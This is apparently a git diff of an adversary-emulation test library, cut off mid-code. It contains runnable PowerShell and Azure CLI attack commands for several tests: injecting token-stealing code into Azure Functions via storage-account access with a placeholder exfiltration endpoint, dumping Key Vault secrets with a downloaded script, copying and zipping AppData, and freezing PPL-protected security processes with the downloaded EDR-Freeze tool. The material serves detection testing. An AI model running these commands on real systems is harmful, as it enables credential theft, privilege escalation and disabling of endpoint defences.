Once executed, the "https://changeme" will retrieve the access token when the function app is executed on behalf of the tenant. The function may be triggered manually from authorized people, triggered in regular intervals, or in various other ways. The access token can then be used to perform further attack steps with the permissions that the function app holds (e.g. listening virtual machines).
Note:
- The Azure Function modified in this test must be hosted via Azure Files in a File Share (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
- For Function code upload to Azure Functions that are hosted via Azure Blob storage, refer to T1550.001 "Azure - Functions code upload - Functions code injection via Blob upload".
- The required input fields can be retrieved in a reconnaissance step in test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". The code of function apps may be inspected and prepared from the result of test T1530 "Azure - Dump Azure Storage Account Objects via Azure CLI".
- Important: Change the https://changeme.net in code_to_insert_path to a self-controlled endpoint. This endpoint can be hosted e.g. as request bin via Pipedream to display the body of incoming POST requests.
- The default injected code to retrieve the access token can be replaced by arbitrary other code. In this case: Replace the code defined in code_to_insert_path
Requirements:
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
Execution options: Defined by the input field execution_option
- insert_code: This option (1) downloads the existing funciton code into a tmp file, (2) injects the code from code_to_insert_path at the beginning of the file, and (3) uploads the tampered file to the targeted Azure Function code (Azure File Share File).
- replace_file: This option uploads the function code defined in code_to_insert_path to the targeted Azure Function code (Azure File Share File).
**Supported Platforms:** Iaas:azure
**auto_generated_guid:** 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| storage_account_name | Name of storage account that is related to the Function | string | storage_account_name_example|
| execution_option | Chooses execution option insert_code, or replace_file | string | insert_code|
| file_share_name | Name of the file share that is related to the Function | string | file_share_name_example|
| file_path | Path to the Function file in the file share | path | site/wwwroot/function_app.py|
| code_to_insert_path | The code that will be injected into the Function | path | $PathToAtomicsFolder/T1550.001/src/code_to_insert.py|
#### Attack Commands: Run with `powershell`!
```powershell
az login # Log in to Azure CLI
$allowSharedKeyAccess = az storage account show --name "#{storage_account_name}" --query "allowSharedKeyAccess"
if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
Write-Output "Shared key access is disabled for this storage account."
} else {
# Download file for cleanup
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + $tmpOriginalFileName)
az storage file download --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --only-show-errors --dest $tmpOriginalFunctionCode
if ($LASTEXITCODE -eq 0) {
# Upload new funciton code if download of existing code succeeded
if ("#{execution_option}" -eq "insert_code") {
# Download file from file share for injection
$tmpFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_to_inject_" + $tmpOriginalFileName)
az storage file download --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --only-show-errors --dest $tmpFunctionCode
if ($LASTEXITCODE -ne 0) {
Write-Output "Function code download failed."
exit 1
}
Write-Output "File downloaded: $($tmpFunctionCode)"
$insertContent = Get-Content -Path "#{code_to_insert_path}" -Raw # Load the content of the insert file
$content = Get-Content -Path $tmpFunctionCode -Raw # Inject code to file
$content = $insertContent + "`n" + $content # Insert the new code at the beginning
$content | Set-Content -Path $tmpFunctionCode # Write the modified content to the file
# Upload file to file share
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpFunctionCode --only-show-errors
if ($LASTEXITCODE -ne 0) {
Write-Output "Function code upload failed."
exit 1
}
Write-Output "Uploaded the tampered file"
} elseif ("#{execution_option}" -eq "replace_file") {
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source "#{code_to_insert_path}" --only-show-errors
if ($LASTEXITCODE -ne 0) {
Write-Output "Function code upload failed."
exit 1
}
Write-Output "Uploaded the tampered file"
} else {
Write-Output "Please choose a valid execution_option"
exit 1
}
} else {
Write-Output "Download original function code failed."
exit 1
}
}
```
#### Cleanup Commands:
```powershell
az login # Log in to Azure CLI
# Upload previous funciton code
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + $tmpOriginalFileName)
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpOriginalFunctionCode --only-show-errors 2>$null
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
# Delete tmp original f file if upload succeeded
if ("#{execution_option}" -eq "insert_code") {
$tmpFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_to_inject_" + $tmpOriginalFileName)
Remove-Item -Path $tmpFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp file: $($tmpFunctionCode)"
}
# Delete tmp original file
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
```
#### Dependencies: Run with `powershell`!
##### Description: Azure CLI must be installed
##### Check Prereq Commands:
```powershell
try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
```
##### Get Prereq Commands:
```powershell
Install-Module -Name Az -Force
```
<br/>
+218
View File
@@ -0,0 +1,218 @@
attack_technique: T1550.001
display_name: 'Use Alternate Authentication Material: Application Access Token'
atomic_tests:
- name: Azure - Functions code upload - Functions code injection via Blob upload
auto_generated_guid: 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43
description: |-
This test injects code into an Azure Function (RCE).
Attack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/
Similar to T1550.001 "Azure - Functions code upload - Functions code injection to retrieve the Functions identity access token", the depicted code injection scenario tampers the source code of Azure Functions to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance. In this case, the prepared zip file (underlying package for a Function) is expected to contain the tampered function presented in src/code_to_insert.py. Note that the endpoint https://changeme.net needs to be adapted in your packed function code.
Note:
- The Azure Function modified in this test must be hosted via Azure Blob storage (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
- For Function code upload to Azure Functions that are hosted via Azure Files in a File Share, refer to T1550.001 "Azure - Functions code upload - Functions code injection to retrieve the Functions identity access token".
- The required input fields can be retrieved in a reconnaissance step in test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". The code of function apps may be inspected and prepared from the result of test T1530 "Azure - Dump Azure Storage Account Objects via Azure CLI".
Requirements:
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
supported_platforms:
- iaas:azure
input_arguments:
storage_account_name:
type: string
default: storage_account_name_example
description: Name of storage account that is related to the Function
container_name:
type: string
default: container_name_example
description: Name of the container that contains the function blob
blob_name:
type: string
default: blob_example
description: Name of the function blob
file_path_blob:
type: path
default: $env:temp/T1550.001_function_code.zip
description: Path to the function code file to upload as blob
dependency_executor_name: powershell
dependencies:
- description: Azure CLI must be installed
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: Install-Module -Name Az -Force
executor:
command: |
az login # Log in to Azure CLI
$allowSharedKeyAccess = az storage account show --name "#{storage_account_name}" --query "allowSharedKeyAccess"
if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
Write-Output "Shared key access is disabled for this storage account."
} else {
$connectionString = az storage account show-connection-string --name "#{storage_account_name}" --query connectionString --output tsv
# Download blob for cleanup
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + "#{blob_name}")
az storage blob download --connection-string $connectionString --container-name "#{container_name}" --name "#{blob_name}" --file $tmpOriginalFunctionCode --overwrite true
if ($LASTEXITCODE -eq 0) {
# Upload new blob version if download of existing blob succeeded
az storage blob upload --connection-string $connectionString --container-name "#{container_name}" --name "#{blob_name}" --file "#{file_path_blob}" --overwrite true
} else {
Write-Output "Download original function code failed."
exit 1
}
}
cleanup_command: |-
az login # Log in to Azure CLI
# Upload previous funciton code
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + "#{blob_name}")
az storage blob upload --account-name "#{storage_account_name}" --container-name "#{container_name}" --file $tmpOriginalFunctionCode --name "#{blob_name}" --overwrite true 2>$null
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
# Delete tmp original blob file if upload succeeded
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original blob file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
name: powershell
elevation_required: false
- name: Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token
auto_generated_guid: 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1
description: |-
This test injects code into an Azure Function (RCE) to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance.
Attack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/
Once executed, the "https://changeme" will retrieve the access token when the function app is executed on behalf of the tenant. The function may be triggered manually from authorized people, triggered in regular intervals, or in various other ways. The access token can then be used to perform further attack steps with the permissions that the function app holds (e.g. listening virtual machines).
Note:
- The Azure Function modified in this test must be hosted via Azure Files in a File Share (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
- For Function code upload to Azure Functions that are hosted via Azure Blob storage, refer to T1550.001 "Azure - Functions code upload - Functions code injection via Blob upload".
- The required input fields can be retrieved in a reconnaissance step in test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". The code of function apps may be inspected and prepared from the result of test T1530 "Azure - Dump Azure Storage Account Objects via Azure CLI".
- Important: Change the https://changeme.net in code_to_insert_path to a self-controlled endpoint. This endpoint can be hosted e.g. as request bin via Pipedream to display the body of incoming POST requests.
- The default injected code to retrieve the access token can be replaced by arbitrary other code. In this case: Replace the code defined in code_to_insert_path
Requirements:
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
Execution options: Defined by the input field execution_option
- insert_code: This option (1) downloads the existing funciton code into a tmp file, (2) injects the code from code_to_insert_path at the beginning of the file, and (3) uploads the tampered file to the targeted Azure Function code (Azure File Share File).
- replace_file: This option uploads the function code defined in code_to_insert_path to the targeted Azure Function code (Azure File Share File).
supported_platforms:
- iaas:azure
input_arguments:
storage_account_name:
type: string
default: storage_account_name_example
description: Name of storage account that is related to the Function
execution_option:
type: string
default: insert_code
description: Chooses execution option insert_code, or replace_file
file_share_name:
type: string
default: file_share_name_example
description: Name of the file share that is related to the Function
file_path:
type: path
default: site/wwwroot/function_app.py
description: Path to the Function file in the file share
code_to_insert_path:
type: path
default: $PathToAtomicsFolder/T1550.001/src/code_to_insert.py
description: The code that will be injected into the Function
dependency_executor_name: powershell
dependencies:
- description: Azure CLI must be installed
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: Install-Module -Name Az -Force
executor:
command: |-
az login # Log in to Azure CLI
$allowSharedKeyAccess = az storage account show --name "#{storage_account_name}" --query "allowSharedKeyAccess"
if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
Write-Output "Shared key access is disabled for this storage account."
} else {
# Download file for cleanup
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + $tmpOriginalFileName)
az storage file download --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --only-show-errors --dest $tmpOriginalFunctionCode
if ($LASTEXITCODE -eq 0) {
# Upload new funciton code if download of existing code succeeded
if ("#{execution_option}" -eq "insert_code") {
# Download file from file share for injection
$tmpFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_to_inject_" + $tmpOriginalFileName)
az storage file download --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --only-show-errors --dest $tmpFunctionCode
if ($LASTEXITCODE -ne 0) {
Write-Output "Function code download failed."
exit 1
}
Write-Output "File downloaded: $($tmpFunctionCode)"
$insertContent = Get-Content -Path "#{code_to_insert_path}" -Raw # Load the content of the insert file
$content = Get-Content -Path $tmpFunctionCode -Raw # Inject code to file
$content = $insertContent + "`n" + $content # Insert the new code at the beginning
$content | Set-Content -Path $tmpFunctionCode # Write the modified content to the file
# Upload file to file share
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpFunctionCode --only-show-errors
if ($LASTEXITCODE -ne 0) {
Write-Output "Function code upload failed."
exit 1
}
Write-Output "Uploaded the tampered file"
} elseif ("#{execution_option}" -eq "replace_file") {
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source "#{code_to_insert_path}" --only-show-errors
if ($LASTEXITCODE -ne 0) {
Write-Output "Function code upload failed."
exit 1
}
Write-Output "Uploaded the tampered file"
} else {
Write-Output "Please choose a valid execution_option"
exit 1
}
} else {
Write-Output "Download original function code failed."
exit 1
}
}
cleanup_command: |-
az login # Log in to Azure CLI
# Upload previous funciton code
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + $tmpOriginalFileName)
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpOriginalFunctionCode --only-show-errors 2>$null
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
# Delete tmp original f file if upload succeeded
if ("#{execution_option}" -eq "insert_code") {
$tmpFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_to_inject_" + $tmpOriginalFileName)
Remove-Item -Path $tmpFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp file: $($tmpFunctionCode)"
}
# Delete tmp original file
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
name: powershell
elevation_required: false
+2 -1
View File
@@ -14,5 +14,6 @@ atomic_tests:
default: myapp.app
executor:
command: |
xattr -d com.apple.quarantine #{app_path}
sudo xattr -d com.apple.quarantine #{app_path}
elevation_required: true
name: sh
-96
View File
@@ -1,96 +0,0 @@
# T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1555/006)
<blockquote>
Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault.
Secrets managers support the secure centralized management of passwords, API keys, and other credential material. Where secrets managers are in use, cloud services can dynamically acquire credentials via API requests rather than accessing secrets insecurely stored in plain text files or environment variables.
If an adversary is able to gain sufficient privileges in a cloud environment for example, by obtaining the credentials of high-privileged [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004) or compromising a service that has permission to retrieve secrets they may be able to request secrets from the secrets manager. This can be accomplished via commands such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure.(Citation: Permiso Scattered Spider 2023)(Citation: Sysdig ScarletEel 2.0 2023)(Citation: AWS Secrets Manager)(Citation: Google Cloud Secrets)(Citation: Microsoft Azure Key Vault)
**Note:** this technique is distinct from [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005) in that the credentials are being directly requested from the cloud secrets manager, rather than through the medium of the instance metadata API.
</blockquote>
## Atomic Tests
- [Atomic Test #1 - Azure - Dump All Azure Key Vaults with Microburst](#atomic-test-1---azure---dump-all-azure-key-vaults-with-microburst)
<br/>
## Atomic Test #1 - Azure - Dump All Azure Key Vaults with Microburst
Upon successful execution of this test, the names, locations, and contents of key vaults within an Azure account will be output to a file.
See - https://www.netspi.com/blog/technical/cloud-penetration-testing/a-beginners-guide-to-gathering-azure-passwords/
**Supported Platforms:** Iaas:azure
**auto_generated_guid:** 1b83cddb-eaa7-45aa-98a5-85fb0a8807ea
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| username | Azure AD username | string | |
| password | Azure AD password | string | T1082Az|
| output_file | File to dump results to | string | $env:temp&#92;T1528Test1.txt|
| subscription_id | Azure subscription id to search | string | |
#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)
```powershell
import-module "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-AzureRmAccount -Credential $Credential
Get-AzurePasswords -subscription '#{subscription_id}' > #{output_file}
cat #{output_file}
```
#### Cleanup Commands:
```powershell
remove-item #{output_file} -force -erroraction silentlycontinue
```
#### Dependencies: Run with `powershell`!
##### Description: The Get-AzurePasswords script must exist in PathToAtomicsFolder\..\ExternalPayloads.
##### Check Prereq Commands:
```powershell
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"){exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/c771c665a2c71f9c5ba474869cd1c211ebee68fd/AzureRM/Get-AzurePasswords.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
```
##### Description: The Azure RM module must be installed.
##### Check Prereq Commands:
```powershell
try {if (Get-InstalledModule -Name AzureRM -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
```
##### Get Prereq Commands:
```powershell
Install-Module -Name AzureRM -Force -allowclobber
```
##### Description: The Azure module must be installed.
##### Check Prereq Commands:
```powershell
try {if (Get-InstalledModule -Name Azure -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
```
##### Get Prereq Commands:
```powershell
Install-Module -Name Azure -Force -allowclobber
```
<br/>
-60
View File
@@ -1,60 +0,0 @@
attack_technique: T1555.006
display_name: 'Credentials from Password Stores: Cloud Secrets Management Stores'
atomic_tests:
- name: Azure - Dump All Azure Key Vaults with Microburst
auto_generated_guid: 1b83cddb-eaa7-45aa-98a5-85fb0a8807ea
description: |-
Upon successful execution of this test, the names, locations, and contents of key vaults within an Azure account will be output to a file.
See - https://www.netspi.com/blog/technical/cloud-penetration-testing/a-beginners-guide-to-gathering-azure-passwords/
supported_platforms:
- iaas:azure
input_arguments:
username:
description: Azure AD username
type: string
default:
password:
description: Azure AD password
type: string
default: T1082Az
output_file:
description: File to dump results to
type: string
default: $env:temp\T1528Test1.txt
subscription_id:
description: Azure subscription id to search
type: string
default:
dependency_executor_name: powershell
dependencies:
- description: |
The Get-AzurePasswords script must exist in PathToAtomicsFolder\..\ExternalPayloads.
prereq_command: |
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"){exit 0} else {exit 1}
get_prereq_command: |
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/c771c665a2c71f9c5ba474869cd1c211ebee68fd/AzureRM/Get-AzurePasswords.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
- description: |
The Azure RM module must be installed.
prereq_command: |
try {if (Get-InstalledModule -Name AzureRM -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: |
Install-Module -Name AzureRM -Force -allowclobber
- description: |
The Azure module must be installed.
prereq_command: |
try {if (Get-InstalledModule -Name Azure -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: |
Install-Module -Name Azure -Force -allowclobber
executor:
command: |
import-module "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-AzureRmAccount -Credential $Credential
Get-AzurePasswords -subscription '#{subscription_id}' > #{output_file}
cat #{output_file}
cleanup_command: |
remove-item #{output_file} -force -erroraction silentlycontinue
name: powershell
elevation_required: true
-66
View File
@@ -36,8 +36,6 @@ Adversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZi
- [Atomic Test #11 - Compress a File for Exfiltration using Makecab](#atomic-test-11---compress-a-file-for-exfiltration-using-makecab)
- [Atomic Test #12 - Copy and Compress AppData Folder](#atomic-test-12---copy-and-compress-appdata-folder)
<br/>
@@ -643,68 +641,4 @@ fsutil file createnew c:\Temp\sam.hiv 10485760
<br/>
<br/>
## Atomic Test #12 - Copy and Compress AppData Folder
Copies the AppData folder, compresses it, and cleans up temporary files.
**Supported Platforms:** Windows
**auto_generated_guid:** 05e8942e-f04f-460a-b560-f7781257feec
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| destination_folder | Temporary copy location | Path | $env:USERPROFILE&#92;Desktop&#92;AppDataCopy|
| zip_file_path | ZIP archive path | Path | $env:USERPROFILE&#92;Desktop&#92;AppDataBackup.zip|
#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)
```powershell
$AppData="$env:USERPROFILE\AppData"
$Copy="#{destination_folder}"
$Zip="#{zip_file_path}"
if (Test-Path $Copy) { Remove-Item $Copy -Recurse -Force }
New-Item -ItemType Directory -Path $Copy | Out-Null
Get-ChildItem $AppData -Recurse -Force | ForEach-Object {
$rel = $_.FullName.Substring($AppData.Length + 1)
$dest = Join-Path $Copy $rel
if ($_.PSIsContainer) { New-Item -ItemType Directory -Path $dest -Force | Out-Null }
else { Copy-Item $_.FullName -Destination $dest -Force -ErrorAction SilentlyContinue }
}
Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::CreateFromDirectory($Copy, $Zip, [System.IO.Compression.CompressionLevel]::Optimal, $false)
```
#### Dependencies: Run with `powershell`!
##### Description: Requires admin and .NET compression libraries
##### Check Prereq Commands:
```powershell
if (-not ([Security.Principal.WindowsPrincipal] `
[Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole(`
[Security.Principal.WindowsBuiltInRole]::Administrator)) { exit 1 }
if (-not (Test-Path "$env:USERPROFILE\AppData")) { exit 1 }
```
##### Get Prereq Commands:
```powershell
Run PowerShell as Administrator and ensure .NET compression assemblies are available.
```
<br/>
-45
View File
@@ -413,48 +413,3 @@ atomic_tests:
makecab.exe #{input_file} #{output_file}
cleanup_command: |
del #{output_file}
- name: Copy and Compress AppData Folder
auto_generated_guid: 05e8942e-f04f-460a-b560-f7781257feec
description: |
Copies the AppData folder, compresses it, and cleans up temporary files.
supported_platforms:
- windows
input_arguments:
destination_folder:
type: Path
default: $env:USERPROFILE\Desktop\AppDataCopy
description: Temporary copy location
zip_file_path:
type: Path
default: $env:USERPROFILE\Desktop\AppDataBackup.zip
description: ZIP archive path
dependencies:
- description: Requires admin and .NET compression libraries
prereq_command: |
if (-not ([Security.Principal.WindowsPrincipal] `
[Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole(`
[Security.Principal.WindowsBuiltInRole]::Administrator)) { exit 1 }
if (-not (Test-Path "$env:USERPROFILE\AppData")) { exit 1 }
get_prereq_command: |
Run PowerShell as Administrator and ensure .NET compression assemblies are available.
executor:
name: powershell
elevation_required: true
command: |
$AppData="$env:USERPROFILE\AppData"
$Copy="#{destination_folder}"
$Zip="#{zip_file_path}"
if (Test-Path $Copy) { Remove-Item $Copy -Recurse -Force }
New-Item -ItemType Directory -Path $Copy | Out-Null
Get-ChildItem $AppData -Recurse -Force | ForEach-Object {
$rel = $_.FullName.Substring($AppData.Length + 1)
$dest = Join-Path $Copy $rel
if ($_.PSIsContainer) { New-Item -ItemType Directory -Path $dest -Force | Out-Null }
else { Copy-Item $_.FullName -Destination $dest -Force -ErrorAction SilentlyContinue }
}
Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::CreateFromDirectory($Copy, $Zip, [System.IO.Compression.CompressionLevel]::Optimal, $false)
-214
View File
@@ -134,10 +134,6 @@ Additionally, adversaries may exploit legitimate drivers from anti-virus softwar
- [Atomic Test #57 - Disable EventLog-Application ETW Provider Via Registry - PowerShell](#atomic-test-57---disable-eventlog-application-etw-provider-via-registry---powershell)
- [Atomic Test #58 - Freeze PPL-protected process with EDR-Freeze](#atomic-test-58---freeze-ppl-protected-process-with-edr-freeze)
- [Atomic Test #59 - Disable ASLR Via sysctl parameters - Linux](#atomic-test-59---disable-aslr-via-sysctl-parameters---linux)
<br/>
@@ -2440,214 +2436,4 @@ New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\WMI\Autologger\Ev
<br/>
<br/>
## Atomic Test #58 - Freeze PPL-protected process with EDR-Freeze
This test utilizes the tool EDR-Freeze, which leverages the native Microsoft binary WerFaultSecure.exe to suspend processes protected by the Protected Process Light mechanism. PPL is a Windows security feature designed to safeguard critical system processes — such as those related to antivirus, credential protection, and system integrity — from tampering or inspection. These processes operate in a restricted environment that prevents access even from administrators or debugging tools, unless the accessing tool is signed and trusted by Microsoft. By using WerFaultSecure.exe, which is inherently trusted by the operating system, EDR-Freeze is able to bypass these restrictions and temporarily freeze PPL-protected processes for analysis or testing purposes.
**Supported Platforms:** Windows
**auto_generated_guid:** cbb2573a-a6ad-4c87-aef8-6e175598559b
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| processName | PPL-protected process name to target | string | SecurityHealthService|
#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)
```powershell
# Enable SeDebugPrivilege
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class TokenAdjuster {
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out long lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges,
ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct TOKEN_PRIVILEGES {
public int PrivilegeCount;
public long Luid;
public int Attributes;
}
public const int SE_PRIVILEGE_ENABLED = 0x00000002;
public const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
public const uint TOKEN_QUERY = 0x0008;
public static bool EnableSeDebugPrivilege() {
IntPtr hToken;
if (!OpenProcessToken(System.Diagnostics.Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken))
return false;
long luid;
if (!LookupPrivilegeValue(null, "SeDebugPrivilege", out luid))
return false;
TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES();
tp.PrivilegeCount = 1;
tp.Luid = luid;
tp.Attributes = SE_PRIVILEGE_ENABLED;
return AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
}
}
"@
$result = [TokenAdjuster]::EnableSeDebugPrivilege()
if ($result) {
Write-Host "SeDebugPrivilege enabled successfully." -ForegroundColor Green
} else {
Write-Host "Failed to enable SeDebugPrivilege." -ForegroundColor Red
exit 1
}
# Get basic process info
$process = Get-Process -Name $#{processName} -ErrorAction Stop
$processName = $process.ProcessName
Write-Host "Process Name: $processName)"
Write-Host "PID: $($process.Id)"
# Get executable path and user info
$query = "SELECT * FROM Win32_Process WHERE Name = '$processName.exe'"
$wmiProcess = Get-WmiObject -Query $query
$owner = $wmiProcess.GetOwner()
Write-Host "User: $($owner.Domain)\$($owner.User)"
# Get the folder of the current script
$scriptFolder = Split-Path -Parent $MyInvocation.MyCommand.Definition
# Download latest EDR-Freeze package and extract (force replace)
$downloadUrl = "https://github.com/TwoSevenOneT/EDR-Freeze/releases/download/main/EDR-Freeze_1.0.zip"
$zipPath = Join-Path $scriptFolder "EDR-Freeze_1.0.zip"
Write-Host "Downloading latest EDR-Freeze from $downloadUrl" -ForegroundColor Cyan
try {
Invoke-WebRequest -Uri $downloadUrl -OutFile $zipPath -UseBasicParsing -ErrorAction Stop
Write-Host "Download completed: $zipPath" -ForegroundColor Green
$extractFolder = $scriptFolder
if (Test-Path $zipPath) {
Write-Host "Extracting archive to $extractFolder (overwriting existing files)" -ForegroundColor Cyan
if (Test-Path $extractFolder) {
# Ensure target exe not locked; attempt to stop any running instance silently
Get-Process -Name "EDR-Freeze_1.0" -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue
}
Add-Type -AssemblyName System.IO.Compression.FileSystem 2>$null
# Custom extraction routine (overwrite existing) compatible with .NET Framework (no bool overwrite overload)
$archive = $null
try {
$archive = [System.IO.Compression.ZipFile]::OpenRead($zipPath)
foreach ($entry in $archive.Entries) {
if ([string]::IsNullOrWhiteSpace($entry.FullName)) { continue }
if ($entry.FullName.EndsWith('/')) { # directory entry
$dirPath = Join-Path $extractFolder $entry.FullName
